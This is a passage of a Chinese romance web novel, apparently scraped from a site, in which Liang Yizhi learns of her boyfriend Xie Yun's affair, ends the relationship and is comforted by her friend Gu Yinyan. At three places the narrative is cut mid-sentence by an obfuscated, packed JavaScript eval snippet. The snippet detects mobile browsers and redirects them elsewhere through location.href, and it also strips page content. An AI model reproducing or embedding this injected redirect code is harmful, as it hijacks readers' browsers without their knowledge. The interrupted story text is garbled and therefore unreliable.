回程的道路黢黑,梁亦芝大概也累了,少见的沉默寡言。顾寅言开车很稳,她闻着车上幽幽的香气,在那安神的氛围里沉沉睡了过去。 醒来时,车子正好到了小区门口。 顾寅言把车停在她家楼下,刚侧过身,旁边递过来什么东西。 因为刚睡醒,梁亦芝的眼睛没能完全睁开,额前几缕刘海乱了,戳着眼睛,她眯起来。 “喏,给你的。”她递来一个盒子,看着体积不小,“今天谢谢你。” 顾寅言接过打量了下:“什么?” “里面是我挑的一个烛台,等你回去拆了看看。” 回玉城前,梁亦芝买了不少伴手礼,打算带给朋友。她有意想给顾寅言也买一件礼物,就挑中了这个烛台。 烛台是黑色的异形设计,做成了一只黑色的手部骨节,线条锋利繁复。手掌朝上,向上托举,像把世界掌控在手心里。 梁亦芝看到它的那一眼就觉得这和顾寅言的气质很契合,没多想便拿下了。 “感谢顾大少爷来接我一趟,毕竟你的时间那么值钱。”梁亦芝毫无形象地打了个哈欠,对他笑笑。 被梁亦芝那双水灵的眼睛注视着,顾寅言的思绪却蓦然开了小差。 梁亦芝这人,对待每一段关系都很真挚,无论爱情、亲情还是友情。 她瞧着好说话,可实则对身边人有一套自己的筛选条件,不会跟人滥交。 一旦她真心把你纳入自己的圈子,她就会变成失去支点的天平,无条件的向你那一侧倾倒。 不合时宜的,顾寅言脑海里莫名闪过方才那个画面。 牛皮的背包敞着口,放着一件小小软软的白色内衣。 夜已深,车外景色和顾寅言手里的烛台一样,漆黑沉郁,可路灯透进来,照在他脸上,依旧是面色清明。 他没跟她客套,收了东西直说: “谢了。” - 谢昀大概是心里还对放梁亦芝鸽子过意不去,这些天对她格外的温柔多情,简直让梁亦芝生出了即将迎来第二段热恋期的错觉。 谢昀说今天会来音乐厅接她下班。 梁亦芝刚迈出出口,就看见谢昀捧着一大束鲜花,站在不远处。 招摇至极,惹得行人纷纷艳羡。 今天的约会地点在一家高级的西餐厅。 吃饭时,谢昀掏出了一个丝绒盒子,推到她面前。 梁亦芝打开来看。 那是一条价值不菲的名牌项链,大概要四到五位数,梁亦芝第一次从他这里收到如此贵重的礼物,又惊喜又感动。 她问:“你给我买这么贵的礼物做什么?” “不贵。只有这样的,才配的上你。” 谢昀对她受宠若惊的表情十分受用,起身走到她背后,伏身为她戴上项链。 戴好之后,他坐回位置,拿出手机:“给你拍两张?” “好。”梁亦芝笑着应下。 谢昀拍了好些张,打开相册,自己扫了一眼,甚是满意。他把手机递给梁亦芝说:“你选选,我去趟洗手间,马上回来。” 手机交到梁亦芝手里,谢昀起身离开,去往卫生间的方向。 被一时的欣喜冲昏了头脑,梁亦芝忘记了之前所有的不愉快,心满意足地在谢昀的相册里,挑选自己的照片,准备今晚发一个朋友圈。 餐厅位于高层的落地窗前,桌上烛光跳跃,照片里她带着谢昀送的项链,瞳孔里映着摇曳的星点,脸上洋溢的笑容快能滴出蜜液来。 这时,谢昀的手机屏幕顶端显示进来了一条短信。 通知栏跳出一行字。 梁亦芝愣了一瞬,下意识点开。 发件人没有备注姓名,仅仅显示一串号码。 按照以往,梁亦芝是不会察看谢昀的手机的。她的处事原则是即使是再亲密的人,也要给对方留出隐私的空间。 可那行字让她没办法忽视这条内容。 梁亦芝点开短信页面。 【你不要这样对我,好不好?】 【是我太贪心了。我不想跟你结束。】 【在广州的时候不还好好的吗?】 【我真的不想这样,谢昀……是你在逼我。】 【我要去找梁亦芝。】 …… 再往前翻,梁亦芝的笑容渐渐凝固在脸上。 短短几行字,梁亦芝终于明白了,为什么谢昀可以做到和自己相敬如宾?为什么他从不会对她有过分的要求。 原来是他早就有了其他的伴侣,来帮他解决性方面的需求。 她一直以为错以为的尊重和珍视,原来只是那个男人伪造出来、哄她甜心蜜意的另一张面具。 血液冷到凝结,颤抖着放下手机时,梁亦芝不小心碰倒了手边的高脚杯。 玻璃炸开,香槟四溅。 她的手指不经意间擦过尖锐的某块碎片,上面的茧厚到她几乎没有知觉。 梁亦芝掀起眼皮,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144590|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向身边刚从洗手间回来的男人。 瞳孔向上,眼睑泣血一般的红。 谢昀从未见过那样冷的眼神,直到他扫过梁亦芝手里的手机,僵在原地。 梁亦芝看着他的脸。想到了那晚,他捏着她的手,那副几近痴迷的嘴脸,让她想要呕吐。 - 梁亦芝独自回了家。 她浑身失力,腿都懒得抬,轻摆几下,甩掉了脚上的黑色高跟鞋。 包包被丢在玄关的地面瓷砖上,梁亦芝扑进柔软的沙发里。 她没打开灯。 万籁俱寂,室内漆黑的能够吞没整个人。 梁亦芝很少感受到像这样深深的无力感,麻木她的每一寸皮肤,刺入她每一根神经。 梁亦芝翻出手机,打开社交软件,划了又划。 她其实什么也没看,只是机械性地重复着手指动作。双目扫过屏幕上纷呈的一条条讯息,大脑却没有把它们的内容摄入进去。 翻够了,梁亦芝又点开通讯录,找到一个号码拨出去。 通话铃一声接一声。 梁亦芝在心里数着数。 第五下的时候,电话被人接起。 “——喂。” “顾寅言。”梁亦芝问,“你在做什么?” “在公司。” “还在加班?” “不算加班。”顾寅言道,“只是有些东西还没看完。” 金属质感的声音,低沉又平稳。 她莫名地想再多听两句。 “你吃晚饭了吗?” 梁亦芝侧身躺在沙发里,闭着双眼,双臂垂下,手机盖在脸颊上。 “嗯。” “吃的什么。” “外卖。” “哦。”梁亦芝懒洋洋地应,“怎么不让江姨给你做?” 那端,顾寅言应该是合上了什么东西,传来轻轻的纸张合页的声音。梁亦芝听见他沉了声气: “……你看看几点了?江姨也该下班了。” 梁亦芝:“没想到你还是个挺有人性的资本家。” 顾寅言:“……” 沉默了会儿,没有人再开启新的话题。 梁亦芝依旧躺在昏暗的房间里。 沙发旁边不远,正对着落地窗。 外头突然传来沉闷的嘀嗒响声。 梁亦芝睁开眼,看见玻璃上留下了细细长长的斜纹,水迹一道道裂开,又被一道道覆盖。 下雨了。 真是一场会挑时间的雨。 雨天总是有这样的魔力,让人浑身犯懒,侵蚀你的身体,连骨头都酥酥麻麻地泛着疲劲。 梁亦芝和顾寅言又说了两句没营养的闲话,困意突袭,她撂下耳边的手机,在沙发里昏昏沉沉地睡了过去。 再次睁开眼,是因为听见了轻促的门铃声。 梁亦芝支起身子,迷蒙着眼,费了老大劲从陷着的沙发里起身,走到门口。 接通可视门铃,屏幕上显现的,竟然是顾寅言的脸。 梁亦芝不太确定:“……顾寅言?” 画面的像素不高,单元楼门口仅一盏要亮不亮的声控灯,在她的声音传播过去后,像燃烧殆尽的蜡烛,短促地灭了又亮起。 顾寅言个子很高,摄像头只在他肩膀以上,画幅无法框住他的躯体。 镜头里只能看见他的下半张脸,微动了动。 “要下来么?”顾寅言对监控这头问。 梁亦芝心一颤,大脑还没清醒:“你怎么来了?” “不是哭了么?”他淡淡地提起,“在电话里。” 5. 烛台 梁亦芝张了张嘴。 她以为自己没有露出任何破绽,可原来还是被他发现了。 就在那场雨下起来的时候。 没得到回复,顾寅言再次开口:“不下来我就走——” “下!马上下!”梁亦芝连忙喊住他。 分贝乍然提高,梁亦芝才发现她的喉咙像卡了烟灰,极其沙哑。 她清了清嗓子,抹了下微肿发酸的眼角和脸上半干的泪痕。 “等我两分钟,很快!” “披个外套再下来吧。” 楼下,顾寅言抬头,望了眼乌云密布的深沉天空。他探出手,掌心交错的纹路里很快聚起一滩晶莹的水珠: “雨下大了。” 梁亦芝还是要面子的,不想被外人看见她过于狼狈失态的一面,哪怕是顾寅言。 她冲进厕所,检查了下自己的脸,妆全花了。 她没犹豫,干脆卸妆洗了把脸,裹了件门口衣架上挂着的外套下了楼。 推开单元门,顾寅言侧过身。 梁亦芝没敢直视他,让他窥见自己肿胀的双眼,她只是低着头,双臂挡在胸前,用外套把整个人裹得紧紧的。 洗净的素颜清丽动人,哭过后,她眼角和鼻头的红尚未消去。 梁亦芝的脸很小,脸型偏短。头微微低下一些角度,整个脸都埋进了外套的毛领口,看不到了。 见顾寅言的车就停在对面,梁亦芝作势就要往雨里冲,被顾寅言伸手拦住。 他撑开一把黑色的长柄伞,站到她后方,这才抬了抬下巴,示意她先走。 上了车。 顾寅言的车里开了空调,密闭的空间里流淌着与外界截然不同的暖意,让梁亦芝的身体也回温了几分。 伞还在沥水,顾寅言把伞收了,放到后座,才坐进驾驶座里。 梁亦芝扭头,看见他大衣的肩膀上落下了稀稀拉拉的雨迹。 她略显不好意思地开口:“那个……你怎么突然过来了?” 一旁的男人启唇:“大概是过来看你的笑话。” 梁亦芝轻轻地“嘁”了声。 但不管怎么样,现在有人陪在她的身边,方才动荡无主的思绪总算是安定几分。 电话的开头,顾寅言其实就察觉到了梁亦芝的不对劲。起初他只当她是和平常一样心情不畅,所以才想抓着自己闲聊解闷。 可她话匣子不停,话里弯弯绕绕,却始终说不到重点上。 外头雨滴落下时,顾寅言听见几声很短、很轻微的抽气声。 混着外面淅沥的雨声,细微如丝。 像是憋了很久,努力克制着的情绪终于丢盔卸甲,从那个隐秘的缺口不胫而走。 梁亦芝哭的样子他太熟悉。 她哭的时候,总是会下意识把要说的长句都拆成短句,来掩饰自己的哭腔,尾音又带着一点点难以抑制的颤抖。 她哭起来跟别人不太一样,安安静静的,基本没有什么声音,只有啜泣时偶尔哽咽的换气声,一抽一抽的。 顾寅言说过她平时像个小喇叭,可一旦碰上事儿就哑了。 他问她:“所以发生了什么事?” 梁亦芝顿了顿,开门见山道: “我和谢昀分手了。” “今天晚上吃饭的时候刚分的。” 顾寅言正抽了几张纸,慢条斯理地替自己擦去身上的雨水。听见她这话,肩膀上擦拭的手一滞。 他动作缓下来:“……你提的?” “对。” “为什么?” “……他出轨了。” 顾寅言没想到这一层。 梁亦芝吸了吸气,继续说:“我拿着他的手机。正巧有消息进来,我就看了。” “谢昀跟那个女人,保持了很久的联系,至少有三个月了吧。但他最近不知道为什么,忽然想结束了。对方气急败坏,就一直发短信来威胁他。说他睡完就跑,还说如果他真的要跟她分手,她就要把他们发生过的事情全部都告诉我。” 那几条短信已经复刻在她脑海里,怎么都忘不掉。 每一行字都让她心惊、让她怒不可遏。 “最可笑的是,”梁亦芝无力地牵了下嘴角,“你知道他出轨的是谁吗?” 顾寅言看着她的眼睛,没有说话。 “赵泠。”梁亦芝说。 “就是那个他每天挂在嘴边的女生,跟他认识了好几年的好朋友。” 梁亦芝越说越觉得,自己就像个小丑。 那天生日聚会,赵泠对她说那番意义不明的话时,她就该察觉到的。 明明赵泠才是那个第三者。 可那两人的暗中勾当,让她觉得仿佛她这个正牌女友才是其中的局外人。 梁亦芝讨厌背叛、讨厌不诚实的人。 更憎恶践踏别人真心的人。 当着她的面,谢昀使出了舌灿莲花的本事向她辩解: “芝芝……芝芝你听我解释!那都是赵泠单方面的,你也看到她说的了,我没有想要跟她在一起。从始至终我爱的都只有你——” “所以……她说的你们之前的那些关系,也是真的对么?” “不是,不是这样的……” 谢昀百口难辩。 眼前,挡风玻璃被雨浇湿,车前的景色化在雨水里一片扭曲。 梁亦芝回想起谢昀跪在自己面前的样子。 “你知道他跟我说什么吗?” “他说一开始也是意外,他不小心犯了浑,跟赵泠只是保持着床伴的关系,各取所需。” “他说他虽然□□出轨了,可精神上没有,他的心永远都是在我这的。他爱我,所以他不舍得碰我。” “多荒诞的一句话。”梁亦芝仰着头,垂眼靠在椅背上,“可他竟然能说得那么深情。” 梁亦芝没想到,她自以为是地以为已经全方位了解了一个人,却没发现那绅士的表象只是他的一层外壳,内里实则是个不要脸皮、内心烂到极致的渣滓。 “好听的话谁都能说。”顾寅言静默了会儿,听她说完才开口。 “欲望是本能,可是否忠于你是他可以决定的选择。”顾寅言把几张湿漉漉的纸巾团进手心。“他靠下半身做了这个决定。” 梁亦芝抿着唇,牙齿紧咬着,鼻尖微微的抽动。 “顾寅言。”梁亦芝问,“我的恋爱经历是不是很失败?” 顾寅言嘴下留情:“只能说不算成功。” 梁亦芝正经的恋爱经历,追溯起来要从高中毕业后才开始。和谢韫在一起,是她人生中的第三段感情经历。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144591|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>第一次恋爱,男方是她上大学时的同班同学,邻家大哥哥的类型,长相过人,成绩优异。因为是初恋,梁亦芝付出很多,几乎把自己里里外外都掏了个底朝天,拿出真心给人家看。 那男生家境不好,梁亦芝就一直帮衬着他,谁知到最后,他竟然狮子大开口,让梁亦芝给自己家里买一辆车。 他蛮不在乎地说:“不行的话,你把你现在那辆车送我呗,我不挑的。” 梁亦芝这时才看清他的为人。 曾经校园里传的沸沸扬扬的流言蜚语最终被证实,他从一开始就是看中她的家境才接近她。 那次恋爱伤梁亦芝很深,她的第二段恋情,时隔很久才重新开启。 只是这一次的结果仍旧不了了之。 对方大梁亦芝两三岁,是个极会说甜言蜜语的男人。温柔时讨得梁亦芝心花怒放,吵架时也能哄得她心软的一塌糊涂。 可他们相处异地,一旦分开,对方就跟人间蒸发了似的,怎么也找不到了。 梁亦芝受不了这种冷暴力,两人分道扬镳。 在和谢昀在一起之前,梁亦芝把考察期拉了很长很长。他们是经朋友介绍认识的,谢昀的人品,在朋友圈里都有见证。 谢昀只是小康家庭,父母都是平凡的普通人。他从小刻苦上进,踏踏实实,无任何不良嗜好。 也就是这样的平淡和普通,才让梁亦芝选择接受他的追求。 哪想到如今转眼间,这段恋情又成了她的黑历史。 “顾寅言。”梁亦芝忽然问,“你跟你之前那个女朋友,什么时候分手的?” 顾寅言说:“不是聊你的事情么?怎么又扯到我这了。” “就是想知道,你分手的时候是什么感觉?” “也这么难过吗?” 她知道顾寅言有过那么一段恋爱经历,不过时间不长。 那会儿他们俩都身处异国,梁亦芝听说顾寅言交了个女朋友时,还兴冲冲地打探那个女生的消息,问她叫什么名字,爱吃什么东西,都有什么兴趣爱好。 她很好奇顾寅言的女朋友会是什么样的一个人,想象那个女生会不会跟她也成为朋友。 只是后来过年时她回国,就听说,顾寅言跟那个女生已经分手了。 她连面都没见上一面。 顾寅言面色淡然,像是简短回忆了下,回答她:“没你这么狗血的戏码。就是和平分手。” “那你难过吗?” “还好。” “……没心没肺。”梁亦芝幽幽地骂了句。 顾寅言漫不经心:“怎么?要跟我比惨?” “对啊。”梁亦芝信口开河,“最好明天你就交一个新女朋友,然后被对方甩掉,还要被无缝衔接。这样我就不是最难过的了。” 顾寅言:“……你还挺会编排。” “当然。” 雨滴啪嗒啪嗒地落下,砸在车顶,打落一旁树上枯黄的枝叶,是一场天然的白噪音乐曲。 “那你再编排一下,现在想去哪?”顾寅言发动车子,系上安全带。 梁亦芝看出来,他要带她去兜风。 她问:“还有这待遇?” “有。”顾寅言打开车子的雨刮器,挡风玻璃上的水迹被一点点抹去,“是仅此一次的失恋特权。” 6. 白巧克力 回想顾寅言当时的表现,只是特别的平淡,没有太多的情绪外露。 连语调都从始至终保持一致。 他没有陪着她讨伐谢昀那个狗男人,没有追问她更多细节,更没有安慰她别难过、世界上男人有的是诸如此类的话。 梁亦芝突然觉得,有时他这样一如既往平缓的语调也挺好的,那让人感觉不管发生什么都不算大事,你根本不用慌张。 顾寅言的存在,对她而言,有点像是寺庙里点燃的一只香。 笔直地立在香灰里。 安安静静地燃,无声无息地焚。 闻到味道便觉得心安。 在顾寅言面前,她不用伪装,不用隐瞒。她可以把自己全盘托出,而他是值得她信任的那个人。哪怕全世界都欺骗他,她相信,顾寅言是唯一会对她诚实的那一个。 她就是有这样去相信的底气。 一路上下着濛濛细雨。 顾寅言开着车,余光打量梁亦芝。 她端正地坐在他身边,头靠着后枕半仰着,眼神淡淡地望向窗外,露出修长洁白的脖颈。 梁亦芝外套下只穿了件修身的开衫,领口处削瘦的锁骨露在外,透着冷意。 顾寅言刚想开口说送她回去,梁亦芝就出了声: “顾寅言。” “我想去个地方。” 顾寅言开车到梁亦芝说的地址停下。 这里是一家非常大的清吧,店面有两层,一楼有个室外花园,二楼露台每天夜晚八点后开放。 店里放着旋律优美的R&B,舞池中心的人们擦着肩轻轻摇摆。 他们顺着楼梯上了二楼。 今天运气好,原本下雨天露台应该关闭,大概是老天爷也心疼她,路程一半的时候,雨便停了,露台简单清理后会重新开放。 来到卡座坐下。 梁亦芝说:“我在网上看过这家店,一直想来没来成。听说这里的酒度数不高,但口味很特别。” 她拿着酒单问顾寅言:“你有什么想喝的吗?” 顾寅言无所谓:“都可以。” “那我就看着来了。” 顾寅言没想到,梁亦芝的“看着来”是把酒单按顺序点了个遍。 服务生端来酒,来回走了好几趟,最后一张方桌上竟然有二十多杯,各式各样的都有。 顾寅言扫一眼,挑了挑眉:“我以为你只是想买醉,没想到是来酗酒。” “都不是。”梁亦芝拿起一杯酒,塞进他手里,又捧起另一杯举到他面前。 “是庆祝。” 远离渣男,恢复单身,怎么会是令人难过的事情呢? 顾寅言看了梁亦芝好一会儿,最后低眸,倾斜了下杯身,轻轻碰了下梁亦芝的。 轻微的脆响被淹没在酒吧的音乐声里。 他们按着顺序,从左到右,一杯接一杯地尝。什么血糯米、雪梨、咸蛋黄……每一杯都能品出不同的风味,梁亦芝不常喝酒,觉得很新奇。 中途,顾寅言端着酒去了露台,接了个电话,时间有点久。 梁亦芝独自坐在原位,身旁的沙发忽然微微一陷。 她抬头,是一张陌生但还算秀气的男人面孔。 对方勾着笑问她:“这里这么多酒,可以跟你喝一杯吗?” 梁亦芝大脑有些发晕,可人还清醒着。 她问:“你确定你是要跟我喝酒吗?” 男人笑了:“不喝酒,做点别的也可以。” 梁亦芝也笑了。 男人刚想把手放到她的大腿上,梁亦芝却自己靠了过来。 他一愣,没料到她的主动,感受到她凑近自己的耳边,刚喝过酒的温热气息喷洒在耳廓,酥酥麻麻。 男人心颤了几下,听见梁亦芝对他说: “……滚吧。” “……” 她没再给他眼神。 梁亦芝站起身,径直去了露台。 顾寅言挂断电话时,发现梁亦芝正站在自己身后,看起来等了有一会儿。 她面颊红扑扑的,应该是喝了太多种类的酒,人晕的比平时要快,朝他走来的那几步路都飘飘然。 “你怎么打了那么久电话……” 她端着酒杯晃到顾寅言跟前,把杯子递过去,“这个白巧克力的酒好特别。你尝尝。” 顾寅言看着那双白嫩细腻的手,攥着酒杯递过来。 店内的灯光反射,在透明的杯壁和深咖色的液体上投下混乱的光影。 他冷声谢绝:“你自己喝吧。” “你就尝一口,真的很好喝。不骗你。” 她把酒杯举到嘴边,又小啜了一口,像是在二次确认味道没有问题。 明明就很好喝。 梁亦芝舌尖舔舔唇,咂巴了下嘴回味。 梁亦芝的想法很单纯,只是想给他分享这杯酒。她跟顾寅言这么熟,只是一杯酒而已,也没必要分谁喝没喝过,又不是只有一个口。 顾寅言推脱两次,发现微醺的梁亦芝极其的固执。 他思忖片刻,最终还是接过酒杯,仰起脖子,浅浅抿了下。 清凉的酒液入口,经过舌尖时柔滑甜腻,味道一点都不像酒该有的。 非常小女生的一杯甜酒。 顾寅言自然没有很喜欢。 他把酒杯还给她,发现梁亦芝一直在盯着自己看。 顾寅言问:“在想什么?” 露台上做了面朝街边的吧台。梁亦芝倚靠在那,感受着沁人的风。因为下过雨,楼底飘来的桂花香气更甚,卷着股湿意。 她看着眼前高大英俊的男人,说:“刚刚有人过来跟我搭讪。” “是么?”顾寅言应声。 “你怎么打发的?” “我让他滚。” 顾寅言瞥了她一眼。 梁亦芝明显是醉了,风吹过来,掀起她耳边的长发,像后飘扬,漏出耳垂和耳骨上闪烁的光芒。 她的眼睛因为之前哭过,这会儿还很干涩,迎风一吹,眼泪又在眼眶内蓄满了,将将要坠下来。 “但我现在有点后悔了。” 梁亦芝眯起眼睛。 顾寅 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“人要学会克制。”晚风吹起顾寅言的刘海,露出锐利的眉眼。“任由欲望冲动,一味追求刺激,那是动物才会做的事。” 顾寅言声音很低,眉目清明:“梁亦芝,不要一时上头。” 他的话里,带着某种提醒的意味。 梁亦芝忽然有点后悔刚刚分了他那杯酒,心里很堵。 她不爱听顾寅言像个理中客一样说些大道理。 他明明是她的好朋友。 他为什么不能永远无条件的站在她那边、永远支持她的所有想法? “上头?” 梁亦芝笑了,笑声很轻:“我现在一点也不上头。我很认真。” 顾寅言不明白她在笑什么。 她是真醉了。 梁亦芝只觉得酒真好,她现在觉得风轻轻的、人也变轻了,心事都被吹散了。 她珍视自己的感情,也看重生命里有过共同经历的每一位过客。她把爱情看得非常美好,不想太快地让它过渡成性,总想着先谈感情。 可那些人把她变成了一个笑话。 梁亦芝发觉,自己视若珍宝的纯洁的感情,在他人那里却是如草芥一般微不足道。 她忽然生出某种难以言说的逆反心理。 既然无人在意,那干脆全放下好了。 她重重磕下杯子,声音极响,对顾寅言,又或者是这个露台上的所有人,郑重道: “我不管!什么狗屁纯爱!我不干了!” “老娘今年,要玩花的!!” 露台上的其他客人听见这声响,齐刷刷朝梁亦芝看过来。 梁亦芝不在意别人的目光。 既然所有人都可以,那她为什么不可以? 顾寅言没说话,只是看着她,眸光微暗,深不见底。 他知道,梁亦芝现在很不清醒,也并未对她的豪言壮语发表多少评价。 顾寅言捧着手里的酒,垂眼抿入,淡淡答:“你试试看。” 7. 事后 血液涌到头顶,发表完这一番豪言壮语,梁亦芝扬着脸,举着杯,人直直地向后仰去—— 顾寅言迈一步靠近过来,单手搂住她的腰,把人稳稳地拖住。 果然发酒疯是失恋人的必经之路。 那句“这里的酒”度数不高,就像是一句玩笑话。 顾寅言买了单,把人塞进了车,叫了代驾。 一路上梁亦芝还能叽叽喳喳地说话,所以顾寅言判定她虽然醉了,但应该还留存着一点清醒的意识。 他们坐在后座,抵达时,顾寅言先行下了车,再绕到另一侧,准备让梁亦芝下来。 他刚绕到车门前,车窗不知什么时候全降了下来。 梁亦芝双臂叠在窗沿上,下巴垫着自己的胳膊,笑盈盈地望着他。 “顾寅言,你到家了?”她甚至朝他招手,“那拜拜——” 顾寅言无语,毫不留情地直接拉开车门,一手还不忘扶住失去支撑的梁亦芝: “是你到了。下来。” 他刚把人从车里拽下来,远处修长的身影扭着步子,也朝这个方向而来:“到底怎么个事儿啊?大半夜的把人叫出来?” 何嫚穿着睡衣,趿拉着拖鞋,在夜风中也站着笔直,丝毫不惧寒风。 她走近才看到醉醺醺的梁亦芝,喝一声:“你们上哪儿喝了?不带我?” 何嫚弯下腰,快凑到梁亦芝的鼻尖上问,仔细打量: “这不会是你灌的吧?” “少说风凉话了。”顾寅言把人推给她,“你带走。” 何嫚搂着梁亦芝的肩,仍感困惑。 凌晨一点,她刚刚到家,就接到顾寅言的电话,让她出来接人。鲜少见到梁亦芝如此酩酊大醉的模样,她多少有些不放心,开口询问: “她今天怎么了?喝得这么多?” “她跟谢昀分手了。”顾寅言瞥一眼站得歪斜的梁亦芝,说,“至于具体的原因,等她清醒了自己跟你说吧。” “我不方便进她家,而且也怕谢昀明天过来找她。让她在你这呆两天吧。” 听完顾寅言的话,何嫚的嘴慢慢张成了O型,她尚不清楚事情的来龙去脉,回忆起上次夜谈,她逐句回味自己的发言,应该没有说错了什么话吧。 何嫚道:“行吧,我知道了。不早了,你赶紧回。” 她摆摆手,拖着梁亦芝上了楼。 顾寅言在原处,望着她们的背影,消失在单元楼的电梯间。 灯光熄灭,他才转身,上了车。 - 谢昀的情况很不好。 当天在西餐厅,谢昀当众给梁亦芝跪下,向她道歉认错,求得她的原谅。 然而对面成了铁石心肠,任他说什么都无动于衷。 回去后,谢昀发现自己的各种联系方式都已经被梁亦芝拉黑,他根本无法联系上她。 他们真的就这么结束了么? 他不相信。 梁亦芝那样心软的人,只要他再诚恳一点、表示出自己的决心,他打赌她一定会回心转意。 第二天上班前,谢昀又去了梁亦芝家门口等着。 他按了门铃,无人接听,打电话也是无法联络的状态。他一直等啊等,眼看打卡时间已过,再不到公司会被扣全勤,他哀怨地望了眼楼顶的方向,悻悻离去。 这一天,谢昀班也上不好,东西也吃不进去,手机里还时不时收到赵泠不断变换号码发来的各种消息。 谢昀的脑子都快爆炸了。 都怪她,如果不是她,他们的事怎么会被梁亦芝发现? 午饭跟同事一起,谢昀吃得心不在焉,筷子在餐盘里拣了又拣。 手机震动,他本不想理会,可又担心是不是梁亦芝联系自己,他又拿出来看。 谁知收到的,竟然是赵泠发来的明炬大楼的照片。 筷子一时没拿住,当啷一声摔在桌上。 同事们投来目光。谢昀找借口,说想起来自己有个活还没交,慌张地端着盘子匆匆离开。 他来到楼下,一眼找到赵泠,确认了眼周围没有其他眼熟的同事。谢昀快步上前,拉上赵泠的手,把她带到角落。 “你疯了吗?”谢昀气急败坏,“跑到这里来干什么?” “你怕什么?”赵泠睨他一眼,“这里没人知道我们俩的关系。反倒是你把我拉到这里,更引人怀疑好么?” 谢昀冷笑:“所以你到底想怎么样?拜你所赐,梁亦芝已经跟我分手了!” “分手了?”赵泠脸上露出喜色,“那就算她识相,你更没有理由结束我们的关系。” 谢昀面色沉重,赵泠靠过去,拍拍他的脸颊,“高兴点儿。” 谢昀撇开脸,十分抵触她的触碰:“赵泠,我们真的结束了,那一开始就是个错误。” “错误?”赵泠讥笑,双眼讽刺。 “谢昀,你忘了你怎么说的?你说我身材比梁亦芝好很多,还说我不像梁亦芝那样不让人碰。这些话我都有录音,你想听听自己当时有多下流么?” 谢昀瞪着眼看向她,没料到赵泠竟留了这一手。 赵泠还没说够,泄愤一般:“怎么?她不让你碰,现在分手了,反而成了你的白月光了?我就只是一双穿烂了的鞋子对么?” “谢昀,你知道你的问题在哪儿吗?你就是太怂!你不敢碰梁亦芝,怕把她这棵摇钱树赶走了,所以只敢对我下手!你做了亏心事,如今还不敢负责,天底下哪有这么好的事?” 谢昀彻底噤了声,他想反驳,可张嘴后,却一句话也说不出来。 赵泠:“反正我们也不可能再做朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李默在心中抹了把汗,他以为组长是按程序走的请假流程,现在这个情况看来…… 想到这,好心的李默再次举手,谨慎开口:“顾总,我现在给谢组长再打个电话吧,他可能真有要紧的事……” “不需要。”顾寅言否决了他的提议。 “还是说他不在你们都没法汇报?” 顾寅言声色平缓,却带着无形的压迫。 李默神情仓皇,脊背瞬间挺直:“不是的,可以汇报!” 顾寅言不再多言:“那就开始吧。” 8. 旧照片 谢昀在梁亦芝家等了一夜,依旧未果。 那头,梁亦芝躲在何嫚家里,获得了短暂的几天清净。 晚上,何嫚回到家,刚进门就大呼梁亦芝的名字,吓得梁亦芝以为出了什么大事。 何嫚:“我刚刚回家,开车顺路去你家那儿兜了一圈。” “谢昀真在那,就坐在你家楼下,跟个荒野孤魂似的,太恐怖了!” 何嫚拍拍胸口:“还真被顾寅言这老狐狸说中了,幸亏你过来的早,否则指不定要被他缠到什么时候!最讨厌这种分手还分不痛快的了!” 何嫚叉着腰,打开冰箱里的矿泉水咕嘟咕嘟灌下。 梁亦芝已经抽空收拾了自己的行李,把大部分都搬到了何嫚这。 换个环境对她来说不仅是安全问题,也省得触景生情、睹物思人。 何嫚:“你说他都承认出轨了,怎么还好意思腆着脸来找你?” 梁亦芝只是摇摇头。 对面何嫚突然拿着手里的矿泉水瓶指向她: “别动。” 梁亦芝怔然。 何嫚随手拿过桌上的一个镜子,打开给她:“你看你看,你再敢露出这种表情试试看?” 梁亦芝呆呆的看着镜子里的自己。 她的状态看起来确实不好,眼下难得冒出了黑眼圈,嘴唇也略显苍白,一张脸白的毫无血色。 下巴上还冒出了几个痘。 梁亦芝拿手摸了摸:“最近想的有点多……” “分手了,还有啥好想的?” 梁亦芝扣下镜子,两手垂在双腿上:“我就是……想知道他为什么会出轨。” 虽然事已至此,可总是有个不死的想法一致萦绕在她心头,让她寝食难安。 “小姐,原因重要吗?重要的是事实,他已经出轨了,这是无法饶恕的错误。” “可我跟他也……” 梁亦芝还想说什么,何嫚忽然抬起双手,捂住耳朵:“我不听啊——不听不听不听不听——” 梁亦芝噗嗤一声笑了。 “知道啦,我不会再想了。” 的确,过去的事情,就让它过去吧。总是执着于原因又有什么用。她又不是犯错的那一方。 跟何嫚呆在一起,至少比她一个人闷在家里好,还有人能跟她说说话,疗愈下情伤。 - 第二天,谢昀上班又迟到了。 他沉着脸进了办公室,打了水回到工位上。 他已经从同事那儿听说了昨天他缺席例会被大老板抓包的事,这会儿浑身上下都冒着刺儿,烦得紧。 这两天的事耗费了他太多心神,现在得赶紧沉下心来,把拖了许久的工作赶赶进度,再去领导面前挽回一下。 